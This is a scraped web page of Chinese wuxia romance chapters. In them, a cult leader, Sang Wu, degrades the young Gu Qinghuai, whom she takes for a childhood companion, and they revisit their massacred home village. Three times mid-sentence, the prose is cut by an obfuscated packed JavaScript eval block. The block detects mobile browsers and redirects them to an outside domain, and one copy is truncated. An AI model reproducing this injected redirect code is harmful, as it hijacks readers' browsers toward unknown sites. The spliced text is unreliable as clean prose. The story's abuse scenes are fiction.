“你不知道,她昨日命陆斐声站在鼓上跳舞给她看,结果,那鼓看着平平无奇,实际鼓面下都是尖刀,人站上去鼓面必会下沉,那真是每踏出一步都是鲜血淋漓,要知道陆斐声可是无影门的,一身功夫都在那一双脚上,就这么毁了!” “结果都这样了,她还嫌陆斐声跳的慢,甚至嫌弃他表情不好看,把人又关回悬笼里去了!现在每个人都在掏空心思地讨好她,生怕再被她丢回那黑笼子里去。” 顾清淮听完一双黑眸仍旧冷冷清清,没有丝毫波澜,“她既然想看跳舞,便该好好跳,不能跳的让她满意,自然是该关回悬笼。” 可就连他自己都分不清,他说的到底是斐声还是他自己…… “你说什么?”卢青阳惊的瞬间蹦了起来,差点撞到床架上,他甚至一度怀疑自己是不是听错了,顾清淮不是向来恨极了魔教,对魔教中人从来是不问缘由拔剑便杀,现在怎么会为魔头说话。 他狐疑地问道:“你难道不觉得这个桑妩这么喜欢以别人痛苦的为乐,实在是性情暴虐么?” 顾清淮想到什么双手无声地攥紧,他清楚地记得以前的阿姐性情是多么开朗善良,村子里不管谁家遇到困难阿姐都会主动去帮忙。 当初若不是他们一家选择石河村隐居,若不是他们一家招来了贼人,阿姐这些年也不会经历这么多,她不会成为魔教教主,更不会养成现在这样的性子。 这都是他的错,是他的错…… 卢青阳哪怕性子粗犷,却也不难发现顾清淮的异常,毕竟这人今日一言一行实在是一反常态。 他想到什么,突然震惊地问了出来:“你你你,你不会是喜欢上那个桑妩了吧?” 毕竟那个桑妩虽然性子残暴了点,但那样貌着实是一等一的美,哪怕是他这种久在脂粉堆里打转的老手看了都移不开眼,更何况顾清淮这种未尝人事的少年郎,会被桑妩的美色所迷也是情有可原。 顾清淮低垂的眼尾泛着红,闻言淡淡睨了卢青阳一眼,便让人瞬间噤了声。 “是我嘴快,您可是正义盟盟主,江湖中人谁不知道您最是痛恨魔教,自然是不会看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878130|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个魔头的。”卢青阳轻轻拍了自己嘴角一下,小心翼翼地观察顾清淮神情,见他并未生气这才放下心来。 顾清淮眉目低垂,阿姐如今会做这魔教教主,定是不知道当年石河村惨案的幕后真凶正是魔教,他得去告诉她。 “你要做什么?”见顾清淮挣扎着似乎要从床上离开,卢青阳心中一急忙将人按了回去,“你伤还没好,别乱动。” 顾清淮皱了皱眉,“我要去见桑妩。” “见桑妩?”卢青阳猛地一下按在顾清淮肩头,牵动鞭伤少年脸色顿时又是一白,“你这身伤怕都是桑妩留下的吧,你竟然还要主动去见她?” 顾清淮却没有理会卢青阳的劝阻,除了当年的真相,他还欠阿姐一个回答。 他一直都是把阿姐当成最亲的亲人,这些年他许多最苦最难熬的时日,都是靠着和阿姐的回忆才支撑下来。 可阿姐却因为他来应征男宠对他有所误会,他得去解释清楚。而且,他还有好多事想要问她,想要对她说。 “你伤这么重还是先好好休息吧,别年纪轻轻留一身暗伤。”卢青阳实在有些看不下去,眼见顾清淮已经艰难地起身向门口走去,连忙再次开口,“你这伤口可都是我替你处理的,桑妩可没管过你的死活,你要是再折腾一身伤回来,还是得我来给你处理。” 顾清淮脚步倏地顿住,他的伤竟是卢青阳处理的,而不是阿姐吩咐的人……顾清淮闭上眼,心头闪过一丝黯然,很快又强迫自己睁开眼,说道:“多谢。” 卢青阳见状以为顾清淮总算是打消了去见桑妩的念头,狠狠松了口气,“这就对了嘛,你现在就算去了也见不到人,刚才魔教来人去隔壁房间把那应拭雪叫了过去,说是要侍寝来着。” “侍寝?”顾清淮眉头无声地蹙起。 卢青阳点了点头,“那日桑妩把陆斐声叫去本来也是要让他侍寝,可是陆斐声自己不争气,惹桑妩生气结果被关回悬笼了。” 侍寝……顾清淮心尖倏地疼痛起来,直到此刻他才反应过来,那日在温泉池,阿姐对他那般说恐怕并不是因为喜欢他,在她的眼里,他和旁的男子也并没有任何分别。 顾清淮垂在身侧的双手用力地攥紧,紧到修长的青筋一根根都凸了起来,可是很快,终是又松了开来。 阿姐想和谁亲近想要谁侍寝,都由她自己做主,他连说不喜欢的资格都没有。 就像当年在石河村,他明明知道阿姐更喜欢和楼稷一起玩,他明明不开心却也只能藏着、忍着。 因为他知道,若是他敢表现出丝毫不满,阿姐再也不会让他留在她身边。 他明明早已明白,可为何心脏仍是像被什么东西紧紧勒住,细细麻麻地疼痛酸胀…… 11. 霜月湖 顾清淮深吸一口气阖上眼,再次睁开时漆黑的眼底已又是如秋水般沉静,仿佛方才的挣扎忍耐,都是一场幻觉。 顾清淮敛了眉目再次抬脚向外走去,卢青阳见状双瞳猛地一睁,就在他焦急地不知该如何是好时,少年身子突然一歪,竟是直直倒了下来! 卢青阳双足点地迅速跃身上前将人扶住,被整个江湖仰望敬重的少年,此刻竟静静躺在他怀中,轻的仿佛没有重量,可就是这样一具修长单薄的身躯,承载了正义盟中多少人的期许,又担起了多少责任。 还是他好,藉藉无名一身轻松,待此间事了他定要退出江湖再也不理会正义盟和魔教的纷争,只是他能退,怀中的少年却是身处漩涡中心,无路可退。 直到将昏迷不醒的顾清淮抱回床上躺下后,卢青阳悬着的心才终于放了下来,还好这人自己晕了,否则即使顾清淮现在受了重伤,他也没有把握能打晕他。 * 进入四月后,天阙峰上总算要暖和些许,只是那漫山积雪却没有丝毫要融化的意味。 青冥宫的正殿里,桑妩懒洋洋地躺在铺着厚软毛皮的软塌里,漫不经心地看着下方惶恐跪着的应拭雪。 第一次见到这张脸时她觉得还算惊艳,可这连着三日看下来,却总觉得差点意思。 和那陆斐声一样,应拭雪也是无影门的弟子,善轻功追踪,身法轻盈灵动,这势必就会就要求修炼之人体型不可过大,因此应拭雪的身量在男子中称得上纤细,样貌也是上乘,这几日对她也是事事恭顺,可她就是提不起兴致。 她百无聊赖地摸了摸身旁无忧毛绒绒的脑袋,殿内一时安静极了,甚至安静到有些可怖,下方应拭雪跪着的身影伏的越发低,甚至在微微颤抖着。 “抬起头来!”桑妩猛地厉喝一声。 应拭雪仓皇抬起头,眼眸中是未及掩盖的恐惧。 真是没意思,桑妩手掌无意识地抚摸无忧,她还以为这些正义盟的人面对她时会有所不同,至少不会这么卑躬屈膝。 静姝久侍桑妩身侧,一眼便明白她在想些什么,只能说尊主真的是越来越难伺候了,既想要人讨好她顺从她,却又不喜欢别人太过奴颜婢膝,真是难,太难了。 “尊主,不知今日您想玩些什么?”应拭雪艰难地挤出一抹笑容,他本来是想一举刺杀桑妩从而扬名江湖,却没想到自己反而沦为了这魔头的玩物。 桑妩却连眼睛都懒得抬,淡淡吩咐:“来人,把他丢到霜月湖里去。” “是。”护卫出列应道。 “尊主,尊主,饶命啊!”要紧关头,应拭雪再也顾不得假装矜持,惊慌地大喊大叫起来,却丝毫不能阻止自己被两名护卫钳住四肢往外拖去。 静姝同情地看了眼一脸惊惧的俊逸男子,这外面冰天雪地的,霜月湖在青冥宫后面,湖面早已结冰,这被丢到湖里,运气若是好在冰面上待到尊主气消也就算了,这要是运气不好侍卫丢的重了些,把冰面砸出一个洞,那可就要浸到冰水里去了。 很快,外面传来重物撞击的声音,却并没有冰面破碎的响动,想来是这应拭雪身量轻,躲过了一劫。 桑妩却已毫不在意,她斜斜靠在无忧身上,半张脸都陷在金色的狗毛中显得脸庞十分小巧,只是神情突然间严肃起来,“紫虓和白虎那边有消息了吗?” 静姝也收敛了笑意,躬身禀告道:“回尊主,紫虓使和白虎使跟着那顾清淮去了东海,果然打探到鹿活草的下落,若是顺利的话,不日便能返回。” “那顾清淮呢,此次他竟没有出手抢夺么?”桑妩心头闪过一丝疑云。 “我们的人也觉得奇怪,到东海不久那顾贼的身影便突然消失,不知去往了何处。” 桑妩冷冷哼了一声,待她养好内伤,第一个要杀的就是顾清淮。 她将身体重量都压在无忧身上,乌黑泛蓝的长发在金色的毛发上披散而下,“也不知这顾清淮是恶是丑,是胖是矮,真是迫不及待想要会会他。” 静姝闻言忍不住“噗嗤”一声笑了出来,“尊主,您怎么就知道这顾贼一定是又丑又胖又矮呢,万一他其实玉树临风呢?” “不可能,他若是生的好看,怎么会到现在都没几人见过他的样貌。” 静姝不敢答话,她依稀听过传闻,这顾贼人品虽坏,长的却似乎还不错。 大概是因为名字里都有一个淮字,说起顾清淮她却总会想起那被她狠狠鞭笞一顿的俊美少年,不管发生什么,那漂亮的眼眸里总是透着股隐忍和沉静,让人想要打破他的面具,击溃他的防线。 “是谁把郁淮从悬笼里放出来的,可查到什么眉目了?” 静姝摇了摇头,“这悬笼机关的钥匙一共六把,素来是教主和护法同时保管,如今三把在您和紫虓使白虎使手中,剩下三把锁在密室,您那把自是没有问题,密室中的三把属下也已检查过没有被人动过,所以问题应该出在紫虓使和白虎使的那两把中,只是不知他们是随身携带还是交给了谁保管,此事属下还在追查。” 桑妩微微颔首,手中动作却一直未停,她顺了顺无忧手感甚好的光亮长毛,心中烦躁终于被抚平了稍许,直到静姝再次开口,“尊主,属下认为从钥匙入手是一方面,也许从那郁淮身上查起会有意外收获。” 桑妩闻言再次冷哼一声,这个郁淮简直是油盐不进,若实在不行干脆把他丢进寒狱,毕竟从来没有人能在寒狱中做到咬死不坦白。 “尊主,郁淮来了。”金甲卫突然进来禀告道,打断了两人的谈话。 “哦?”桑妩顿时兴起几分精神,她早就吩咐过金甲卫,待这个郁淮醒了后第一时间便带来见她,只是没想到这一等便是等了整整六日。 “让他进来。”她对着金甲卫说道,随后又吩咐静姝,“把无忧带到我寝殿去。” 不知道是不是因为当年石河村屠杀的缘故,这些年来只要看到有人靠近她,无忧便会冲上去狠狠撕咬,而除了她和静姝以外谁的话无忧都不听,她只能在寝殿里为无忧造了座金笼,偶尔把它关进去。 青冥宫的正殿高耸奢华,从宫门到软榻处都铺着厚重的墨绿色地毯,桑妩往门口看去,一身白衣的清冷少年站在高大的门梁下,长身玉立颀长挺直,仿佛裹挟着漫天的日光清气,让她心尖不可抑制地一震。 这些年她一直在江湖里寻找各色美人,却没有一人能比得过眼前的少年。 日光照在他身上,像是照在天阙峰顶积了万年的白雪之上,周身似是泛着莹莹白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还是说你想用什么东西来交换?你那日没有回答我的问题,今日我再问你一次,你可愿意?” 桑妩其实根本无所谓这人愿意不愿意,他愿意的话自是最好,若是不愿意,她也会强迫他愿意。 顾清淮眉心微蹙,漆如点墨的眼眸浮现一丝犹豫,随后瞬间清明。 眼前的女子坐在凉亭中,肤光胜雪笑容妩媚,本就明艳的脸庞在额头紫色宝石流苏映衬下,美的惊心动魄,她不管是喜是嗔,是静是怒,一举一动无不紧紧牵动着他的心神。 他本来是想告诉阿姐,他只把她当姐姐而不是妻子,可是直到此刻,他才突然明白过来,只要能留在阿姐身边,无论要他做她的什么,不管是弟弟、男宠还是夫君,都由她。 “那日我问你问题你不回答,甚至隔了这么久才来见我,一来却替别人求情。若真要求情,你不该先替自己求么,郁淮,你就不怕我把你也丢到冰面上去自生自灭?” 少年瞬间一怔,可是很快,目光中浮现一抹自责,“阿姐对不起,我该早点来见你的。” 是他没用,才会两次都晕了过去。 桑妩讶然地挑了挑眉,她说了这么长一串话这人就听到了这一句,还有他明明是昏迷不醒所以才没法来见她,竟也丝毫不辩解。 湖上寒风骤起,吹起少年如瀑般散落的长发,宛如寒夜幽昙,清冷绝艳。 桑妩身子突然极富侵略性地向前倾了倾,如桃花般潋滟的眼眸中闪过幽深的暗芒,“既然知道错了,那是不是该罚?” 少年迎着她的目光,神情专注而又安静,似乎不管她做什么他都甘之如饴,“阿姐要怎么罚?” 12. 三掌 她要怎么罚? 桑妩微微一笑,“先记着,待时机合适自会告诉你。” “至于现在,”桑妩愉快地拍了拍手,“上菜!” 她从来不会亏待自己,更不会在吃上亏待自己,浮光教虽地处西州,可这些年来却已吃遍了九州美事,食材都是金甲卫快马加鞭运上峰来,厨子更是从九州各地招来的名厨。 很快,两人面前的桌上已摆满了各种丰盛菜式,当中是一个烧着炭火的铜锅,里面似乎炖着猪蹄鹿脯还有许多鲜菜,在寒冷的雪地看的人食欲大动,顾清淮常年服用辟谷丹,对吃食并没有什么讲究,此时却也感觉自己有些饿了。 桑妩却突然对着人勾了勾手,“过来。” 顾清淮脸庞一怔,顺从地起身,走到她身旁站定。 桑妩伸出纤长如玉的手指指向地面,眸中笑意盈盈似有万般风情,红唇轻启,说出的却是没有丝毫感情的两个字,“跪下。” 顾清淮神情一怔,撩起衣摆,在她身边径直跪了下去。 “跪低点。”桑妩再次开口,“记住了,我不喜欢仰视人。” 顾清淮闻言跪坐下去,双手放在膝上,应道:“阿姐,我知道了。” 桑妩这才开始动筷,先喝了一口婢女盛好的野菌乳鸽汤,再吃上一口香气扑鼻的烤鹿肉,也不知道吃了多久,就在她吃下满满一口嫩滑鹅肉时,身旁少年腹中突然响起一阵咕噜声,清冷的脸庞倏地一红。 桑妩摸了摸肚子,她已然吃的差不多了,这才对着静姝吩咐道:“把它带过来吧。” “是。”静姝应声的同时却有些犹豫,尊主的剩菜素来是喂无忧吃,可若是让无忧看到尊主身旁的郁淮,怕是会冲上去狠狠撕咬。 桑妩知道静姝在顾虑什么,她只是恶劣地想要让郁淮眼睁睁看着,他极度渴望极度想要吃的饭菜,却被一条狗吃了下去,不知道那个时候他是否还能这般淡然。 待静姝离去后,桑妩看了眼地上乖顺跪着的少年,心情突然十分愉悦,她夹起鲜笋蒸鹅中鲜嫩的竹笋放入空盘中,递到少年嘴边,若有所指地说道:“你可知道有一种杀人的办法,是把人绑在雨后的竹笋上,不到半日的功夫人就会被快速生长的竹笋穿肠而亡。” 少年看着她,默默低下头,以一种堪称屈辱的方式含起盘中的竹笋,吃了进去。 待嚼碎咽下后少年再次仰起头,漆如点墨的眼眸没有丝毫变化,里面满是信任和坦然,似乎不管她对他做什么都可以。 被这样的目光注视着,桑妩心中倏然一颤,鬼使神差地伸出手摸了摸少年黑色的发顶,而手感竟意外的好。 而几乎是在她手掌触到少年的同时,一个金黄色的身影从湖面快速地飞奔而来,朝着地上的少年径直扑了过去! 桑妩眸光一沉正准备扒开无忧,可下一刻,眼前的场景却超乎了她的预料。 只见无忧两只前爪撑地,正喜笑颜开地一下一下舔着那眉头微皱略显困惑的郁淮,金色的尾巴高高扬起,摇的欢快无比。 “无忧,你在做什么?”桑妩心中陡然升出一股汹涌怒气,她的狗怎么可以对着别人撒欢?她对着无忧招了招手,厉声道:“快过来!” “它是无忧?”顾清淮微蹙的双眉瞬间舒展开来,单掌指地比划道:“无忧竟然长这么大了,它以前才这么高来着。” 少年眉眼弯弯,仿佛整个湖面都在此刻亮了起来,她第一次看到少年笑的这般开心,整个人褪去了平日的清冷淡漠,整个人仿佛山间无拘无束的风,眼里又像是盛满了漫天星辰。 桑妩心跳瞬间漏了一拍。 她从来没有看到有人可以笑的这般惑人心神,更没有见到无忧对人这么亲近过,哪怕是静姝也是在日复一日的照顾中才渐渐被无忧所接受。 难道这郁淮和无忧当真是以前认识,难道他真的是楼稷? “无虑呢?”顾清淮摸着无忧的脑袋,笑着问道。 这人竟然知道无虑? 桑妩心中剧烈一震,刹那间转过诸多念头,这人怎么会知道无虑,无忧又为什么会和他那么亲近。 她思来想去此事有只有两种可能,第一种可能是,真的楼稷并没有死,并且就在这个郁淮手中,所以他才会知道无虑,还能拿到沾染楼稷气味的东西。 可是那日少年昏迷后她已检查过他周身上下,没有任何可疑的东西,就连衣服都已换了新的。 那么就只有另外一种可能,就是此人真的是楼稷。 在一阵欢快的“汪汪”声中,她终于问出那个她早就该问“楼稷”的问题,“你……当初是怎么活下来的?” 顾清淮艰难地躲避无忧的舔舐,在间隙抽空回道:“那日情况十分紧急,阿姐你为了救……小六中剑后,我便拉着他分头躲在水缸里,也不知躲了多久,直到外面彻底安静下来,我才从水缸中爬了出来。” “躲水缸里?”桑妩眯了眯眼眸,她认识的楼稷,不冲上去和那些战斗已是极限,怎么可能躲在水缸里,他怎么可能在乡亲们被残忍屠杀时,忍得住一个人躲在水缸里? 她霍的一下站起身,“起来,跟我去一个地方。” 少年顺从地起身,没有开口询问要去何处,似乎不管她去哪儿他都会跟随。 可顾清淮不问,静姝却不能不问,“尊主,您要去哪儿,可要婢子安排马车?” “我要去石河村,你把无忧照顾好便是,若不行就让它先待笼子里。”桑妩神情凝重,今日之事疑点重重,只有去一趟石河村才能水落石出。 “石河村?”静姝脸色顿时一颤,“那个地方已经到了西州的边界,若是您不能及时赶回来——” 桑妩举手制止,淡淡道:“无妨,我自有安排。” 顾清淮上天阙峰时是被蒙着眼带上来的,这次下去,同样是被桑妩蒙住眼睛扛下去的…… 直到两人到了山脚山门处,桑妩才解开他蒙眼的黑布。 桑妩脱下身上暖和的白狐裘交给护卫,翻身上马,对顾清淮回首一笑:“会骑马吧?” “会。”顾清淮微微颔首。 “跟上!”话音未落,桑妩便猛地一夹马腹,霎时间马蹄扬起尘土奔腾如飞。 两人一前一后纵马疾驰,不到半个时辰的功夫便到了石河村。 下马后顾清淮从桑妩手中接过缰绳,将两匹马栓到河边的歪脖子树上,明明是第一次做,却默契的像是做过无数次。 “阿姐,这些年你可曾回来过,当初又是怎么活下来的?”顾清淮终于忍不住问了出来。 桑妩深深地凝视着眼前绿意盎然的村落,缓缓吐出一口气,说道:“走吧,进村子再说。” 两人相携往村里走去,数日前顾清淮只是远远地看着村子,今日走近才发觉,村子竟如此热闹。 在一望无垠的翠绿田地旁摆着许多摊子,卖的都是干货和时令的鲜货。 而村民对他们两个生面孔也十分习以为常,热情地叫卖吆喝。 两人沿着田埂随意地走着,任满眼绿意跃入眼中,也不知走了多久,桑妩终于幽幽开口:“那日我胸口中了一剑侥幸没死却也伤重到无法动弹,是无忧衔来药草敷在伤口,替我找来吃食果腹,又从里屋叼来棉被盖在我身上,可那夜冷极了,哪怕我置身屋中,浑身却没有半分暖意,所幸那会儿跟郁家叔叔练了武,这才没被冻死。” 顾清淮猛地咬紧了下唇,若是他没有胆怯地藏在水缸里,是不是就能早点发现阿姐没有死,就不会让她一个人在寒冷的冰天雪地中躺了一整夜,那一夜,阿姐该有多难熬。 而他,竟是无能到不如一条狗…… 顾清淮自责到浑身都微微颤抖起来,桑妩却浑然不觉,自顾自地继续讲述道:“我就一直这么躺着,直到第二日夜晚我才勉强能够移动,无忧便拖着我,穿过尸横遍野的村子往外面走去,所幸夜色朦胧那些人并没有注意到我们,可我足足走了一天一夜才找到人一起回来,就在我走到河边时震惊地发现,村子竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878132|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是燃起了熊熊大火,将半边天映的通红。” 桑妩嗓音透着刺骨的仇恨,“那火可真大,竟将整个村子烧成一片焦土……” 顾清淮浑身剧烈一震,他是第三日离开的村子,师父只告诉他已经安葬了所有乡亲,这火又是谁放的? 可是很快,他便想出了眉目,“是那些杀人者放的火?他们是想要——毁尸灭迹、斩草除根?” 江湖中人通过伤口便能探查出尸体究竟是死于哪种武功,这些人放火烧村既能够毁灭证据,又能避免还有活口留下,当真是心狠手辣。 桑妩冷冷颔首,她也是这么认为的。 “阿姐你明知道真凶就是浮光教,为何还会——” 话未说完已桑妩冷冷打断,“你可还记得,为什么我们都认为凶手是浮光教的人?” 顾清淮眼神坚定,他怎么可能忘记,“因为那些人是冲,是冲郁家去的。” “对,我清楚地记得那些人说郁大叔身受浮光教大恩却叛教而出,就是为了和正义盟的人在一起,甚至还不顾廉耻地生下了孽种,我也是那时才知道郁大叔的真名是叫郁澜风。” 桑妩没有发现少年突然变得黯然的眼眸,继续说道:“当时我也因此认定凶手是浮光教,便化名桑五加入浮光教,后来我被师父收为关门弟子改名桑妩,我亲口问过师父,师父也亲口告诉我,这件事不是浮光教所为,他不会对自己的弟子这般无情,更不会滥杀无辜。我相信师父的人品,并且后来我也查到,那日的事情确实与浮光教全无关系。” 顾清淮神色却格外凝重,他知道阿姐正是上一任魔教教主桑司空的关门弟子,可是师父曾多次告诫过他,桑司空杀人如麻绝非好人,否则也不会教导出阿爹这么个放荡不羁的弟子,行事不端拐走阿娘。 尽管他幼时为数不多的记忆里,阿爹和阿娘之间似乎都是阿娘做主,阿爹也总是事事听阿娘的,可师父的话总是不会错的。 见郁淮沉默不语,桑妩有些不悦,冷道:“怎么,你不相信我说的话?” 桑妩神情骤冷,久居上位的压迫感瞬间扑面而来。 少年却恍若未觉,只缓缓摇了摇头,“我自然是相信阿姐的,可是桑司空性情暴虐喜怒不定,他的话不能信。” 村子里繁花锦簇,少年一袭白衣单手负后站在青绿的田埂边,恰如那春月杨柳,濯濯清冷。 桑妩唇角渐渐扬起抹冰冷的弧度,在她动怒之时还能面不改色地反驳她,坚持说出自己的想法的人,这些年来这郁淮还是第一个。 可是巧了,她平生最厌恶别人反驳她。 “啪!” 桑妩冷然扬手,清脆的巴掌声瞬间止住了少年所有话语,空旷的四周在此刻也安静下来,气氛瞬间凝滞。 顾清淮眸光颤了颤,终是敛了眉目不再反驳。 桑妩冷冷瞥向眼前少年,虽然垂着眼眸一言不发,握在腰前的手却紧紧攥着,不由嗤笑着开口:“怎么,不服?” 少年闻言抬起眸,漆黑眼眸里满是坚毅和决绝,“阿姐,只有浮光教才有下手的动机。” “啪!” 几乎是在少年尾音落下的同时桑妩再次抬手,狠狠一掌甩在少年脸上,清冷的脸庞瞬间被打的偏了过去。 这一掌力道极大,顾清淮脑袋一阵发晕,白皙的脸颊瞬间浮现一个清晰的红色掌印。 顾清淮缓缓将头转正,迎着桑妩冰凉的目光再次开口,嗓音沉缓却无比坚定:“石河村是浮光教的地盘,只有浮光教才能肆无忌惮地在石河村造下如此惨案。” 好,很好。 桑妩怒极反笑,少年素来对她言听计从,今日却屡屡反驳,当真是好极了。 “啪!” 桑妩右手高扬,又是一掌狠狠扇去,这一掌用上了十足的力道,少年却迎着掌风不躲不避,硬生生接了下来。 很快,一丝鲜血从少年嘴角淌下,顾清淮脸颊疼的几乎麻木,耳边一阵轰鸣,眼尾瞬间泛起了薄红。 13. 教训 不说顾清淮,三掌打完就是桑妩都感觉手被震的有些麻,她随意地甩了甩手驱散麻意,冷笑道:“还有什么想说的没,接着说。” 少年唇角还淌着鲜血,目光却一如既往的执着,“阿姐,我只是担心你受人蒙骗,那桑司空不能信。” 担心她受人蒙骗?在她面前说她师父不能信? “这世上,没有谁能骗到我。” 桑妩冷冽的目光如刀般刺向少年,四目相接,就连田野的风都在此刻寂静下来。 两人相对而立,少年白衣清冷,如瀑长发垂落身侧,漆黑眼眸坚韧而又忍耐。 桑妩红衣猎猎姝色无双,一双眼眸似冷非冷,似艳还无。 两人对峙,终是顾清淮心中有愧,率先移开了视线。 “呵。”桑妩见状冷笑一声,却并没有放过少年的意思,“桑司空是我的师父,你当着我的面辱骂我师父,又该当何罪?” 少年目光倏地一怔,似是并不认为辱骂桑司空是什么错事,过了半晌才垂下眼眸低声道:“阿姐,对不起。” 桑妩冷眼看着眼前少年,如湖水一般澄净的目光中分明透着不平,似乎这般道歉已是极限。 真是可笑,竟然以为轻飘飘的一句道歉便能将此事揭过,难道他是什么很了不起的人,他的道歉很值钱么。 “掌嘴。”桑妩冷冷开口。 少年蓦地抬眸,目光怔怔地看着她,像是不敢相信自己听到的话。 “要我重复一遍么?自己掌嘴!”桑妩清冽嗓音中已经染上不耐烦的怒气,她不喜欢听不懂话的人。 对上她冷漠的眼眸,少年俊美脸庞上血色瞬间褪尽,垂在身侧的双手无声地攥紧。 虽然早已心知肚明,可事到临头心里却仍是一阵止不住的酸胀,细细麻麻的疼痛像是藤蔓般在心里无尽地蔓延开来。 他在阿姐心里究竟算什么,弟弟,男宠,还是一个召之即来挥之即去的玩物。 就因为他说了桑司空的不是,便要用这种屈辱的方式来惩罚他。 空旷的原野安静极了,安静到顾清淮能清楚听见自己的心跳。 就在这可怕的寂静中,脑海中突然响起两个针锋相对的声音,一个声音严肃地警告他,这一掌一旦扇出,他在阿姐面前的自尊从此便荡然无存,另一个声音却轻柔地蛊惑他,既然这是阿姐想要看到的,他只能照做。 少年攥紧的双手不住地颤抖,像是渴水的鱼在做最后的挣扎。 “啪!” 终是自暴自弃般的一掌扇出,清脆的巴掌声在寂静的田野上格外刺耳。 顾清淮这一掌用上了十足的力道,只一掌,便打的嘴角再次淌下血来,脸颊火辣辣的刺痛仿佛在提醒他,这一掌下去,打碎的是他自己的尊严。 顾清淮缓缓将被打偏的脸转正,眼眸低垂,一身白衣衬得脸颊红印越发刺目。 两人都没有说话,一时间四周再次安静下来。 “继续。”桑妩突然冷冷开口,打破了这凝滞的寂静,“你不会以为一掌就够了吧。” 这人哪怕对着她恭敬温顺,却掩盖不了骨子里的冷漠和高傲,必是久居上位才会浸染出的威势和风骨,她喜欢他的傲骨,可前提是对着旁人而不是她。 他胆敢诋毁她的师父,反驳她的话语,必须要给他一个终身难忘的教训。 顾清淮瞬间咬紧了唇,双目泛着的水光渐渐摇晃破碎,似是在震惊他已经自辱至此她竟仍不满意,竟然还要继续羞辱于他。 少年痛苦地阖上眼,正欲抬手,桑妩突然开口打断:“等等。” 顾清淮倏地睁开眼,黯淡的眼眸瞬间一亮,像是盛满了漫天星光般透亮绚丽。 桑妩知道少年定是误以为她想阻止他,却并不在意,只双手抱胸淡淡地说道:“每打完一下,便要说一次‘我错了’,直到你知道自己错在何处为止。” 若他一直意识不到自己的错误,便也不用停下了。 少年蓦地咬紧了下唇,眼底浮现一丝颤抖的挣扎和痛苦,桑妩以为他要说些什么,可少年终是一言不发,在她冷漠的目光中狠狠一掌向自己脸颊扇去。 “啪!” “我错了。” “啪!” “我错了。” 少年嗓音颤哑,每一掌落下眼底薄红便上涨一寸,两掌过去少年眼角已然泛起湿润的水光,桑妩看着却无动于衷。 这还远远不够,毕竟,这样一张清冷俊美的脸庞如果被泪水浸透,才算漂亮。 “啪!” “我错了。” “啪!” “我错了。” 可随着再次一掌落下,不知为何少年目光中的委屈不平竟渐渐平静了下来,颤抖的眼神变得坚韧,嗓音也变得低沉,唯独扇向自己脸颊的力度没有丝毫减弱。 桑妩皱着眉喝止:“停。” “知道自己错在何处了么。” 少年将手垂至身侧,低首道:“阿姐对不起,我不该辱骂你师父,不该反驳你,更不该不信你的话。”说完抬起头,顶着红肿的脸颊看向她,“阿姐我知道错了,你罚我吧。” 桑妩讶然地挑了挑眉,眸中倏地浮现一抹欣赏,这人竟这么快便想了个明白,曾经她也罚紫霄使掌掴过,可他只当她是以教主之尊有意羞辱,却没想过自己真的做错了,真的该反省。 她心中罕见地升出一个念头,若这人没有骗她,她不介意让他一直留在她身边。 心情愉悦之下桑妩蹲下身,从路边摘下一小截紫珠叶,随后示意少年也蹲下身来。 桑妩将手中野草压碎,敷在少年红肿的脸颊上,轻声哄道:“乖,敷了这个就不疼了。” 她本是好心好意地安慰,却不想少年本就湿润的眼角再次红了,看着竟比方才还要伤心委屈,桑妩不解地蹙起了眉,他自己扇自己耳光的时候没哭,怎么她给他上药反而哭了。 顾清淮也不知道自己是怎么了,所有高筑的心墙在阿姐轻柔的话语中尽数坍塌,所有的委屈疼痛同时涌出。 幼时他受伤,阿姐也是摘下这种紫珠草敷在他伤口,他不知道自己到底是因为想起往事而变得脆弱,还是在伤心。 伤心阿姐待他其实和训狗无异,都是打一棒子再给个甜枣。 看着少年眼角溢出的眼泪,桑妩心中倏地窜出一股无名怒火,她站起身怒道:“不想上药算了。” 她正欲转身离开,身后一家农户里突然传出妇人的声音,打断了她的怒火。 “娘子,能不能搭把手!” 一位身穿蓝布褂子肤色微黑的妇人从柴门中走出,手中拿着柄凶悍的柴刀神情却十分和蔼,妇人走到两人身边对着桑妩笑道:“这位娘子,能否请你夫君帮个忙?” 桑妩挑了挑眉,她夫君? “这位大婶你认错了,他不是我夫君。”桑妩指了指少年脸上的红色掌印,“我这是在教训弟弟。” 那妇人却不以为然,“娘子莫诓我,我楼三娘这么多年吃过的盐比你吃过的米都多,绝对不会看错的,这位郎君看你的眼神,绝对是喜欢你。” 两人同时沉默了。 桑妩若有所思,这郁淮的演技已经炉火纯青到这般地步了? 顾清淮却是微微怔愣,他看阿姐的眼神,是爱慕? 那楼三娘只当两人是被说破了心事无言以对,说的越发眉飞色舞:“再说,若真是姐姐教训弟弟,那弟弟哪儿有这么乖的,那不得闹的鸡飞狗跳的?” 说话间似是想起了自家弟弟,越发咬牙切齿起来。 桑妩见状不禁嫣然一笑也懒得再做解释,毕竟她又不在乎旁人的眼光,而且哪怕早已物是人非,她对着这片土地上的乡亲总是多了一份羁绊,“大婶,您还没说要他帮什么忙呢。” 